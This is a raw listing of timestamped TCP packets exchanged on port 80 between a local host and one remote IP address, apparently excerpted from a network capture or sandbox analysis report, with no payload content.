Oct 31, 2024 01:19:21.855604887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855611086 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855619907 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855627060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855634928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855648994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855654001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855668068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855681896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855684042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855684042 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855699062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855710983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855715036 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855730057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855741024 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855745077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855761051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855768919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855776072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855787039 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855791092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855806112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855819941 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855824947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855824947 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855834961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855843067 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855859041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855865955 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855874062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855886936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855890989 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855902910 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855906963 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855917931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855932951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855947971 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855958939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855958939 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855974913 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855978966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.855993032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.855993986 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856009007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856018066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856024027 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856028080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856040001 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856051922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856054068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856059074 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856070042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856090069 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856098890 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856098890 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856108904 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856113911 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856127977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856129885 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856142044 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856153011 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856157064 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856167078 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856173038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856182098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856188059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856201887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856204033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856215954 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856226921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856226921 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856230974 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856245995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856250048 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856261015 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856262922 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856276035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856288910 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856291056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856306076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856319904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856323004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856343985 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856348991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856355906 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856358051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856372118 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856385946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856386900 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856401920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856404066 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856411934 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856416941 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856431007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856431007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856443882 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856446028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856461048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856468916 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856476068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856477022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856492043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856504917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856507063 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856522083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856529951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856538057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856549025 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856551886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856568098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856575012 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856584072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856589079 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856599092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856614113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856616020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856627941 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856628895 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856643915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856647968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856661081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856671095 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856676102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856690884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856698036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856705904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856720924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856722116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856734991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856746912 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856751919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.856775999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.856786966 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.906477928 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.923901081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.923938990 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.923953056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.923969030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.923985004 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924021006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924057007 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924078941 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924102068 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924124002 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924128056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924138069 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924154043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924154043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924166918 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924173117 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924205065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924217939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924254894 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924257994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924269915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924294949 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924309015 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924444914 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924460888 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924475908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924488068 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924490929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924495935 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924515009 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924519062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924529076 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924536943 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924544096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924552917 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924559116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924566031 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924573898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924582005 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924591064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924616098 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924638033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924654007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924668074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924675941 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924690962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924705029 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924776077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924791098 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924812078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924860954 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924860954 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924860954 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924881935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924896955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924913883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924925089 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924927950 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924936056 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924942970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924957037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924957991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.924966097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.924984932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925003052 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925038099 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925052881 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925069094 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925084114 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925086021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925098896 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925100088 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925106049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925113916 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925122023 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925141096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925157070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925168037 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925187111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925194025 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925200939 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925225019 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925235033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925390005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925415993 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925431013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925446033 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925451994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925452948 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925467014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925467014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925474882 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925483942 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925497055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925512075 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925523043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925527096 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925539970 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925549030 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925563097 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925565004 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925576925 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925596952 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925600052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925614119 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925615072 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925631046 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925642014 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925652981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925661087 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925676107 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925676107 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925689936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925698996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925703049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925718069 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925724983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925734997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925746918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925746918 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925750017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925755978 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925765038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925774097 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925779104 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925806999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925806999 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925817966 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925832987 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925836086 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925846100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925858021 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925867081 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925873041 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925883055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925888062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925904036 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925895929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.925925016 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.925937891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926034927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926049948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926064014 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926074982 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926103115 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926103115 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926110983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926126003 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926140070 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926148891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926177979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926177979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926198959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926211119 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926242113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926249027 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926256895 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926271915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926280975 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926295042 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926306009 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926317930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926331997 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926336050 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926347017 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926362991 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926379919 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926393032 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926407099 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926420927 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926444054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926446915 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926459074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926460028 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926472902 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926481962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926487923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926496029 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926501989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926516056 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926526070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926526070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926532984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926548958 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926549911 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926565886 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926599979 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926603079 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926615953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926632881 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926632881 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926646948 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926656961 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926661968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926676989 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926686049 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926691055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926721096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926721096 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926728010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926734924 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926747084 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926760912 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:21.926773071 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:21.926776886 CET	80	49998	185.215.113.16	192.168.2.6
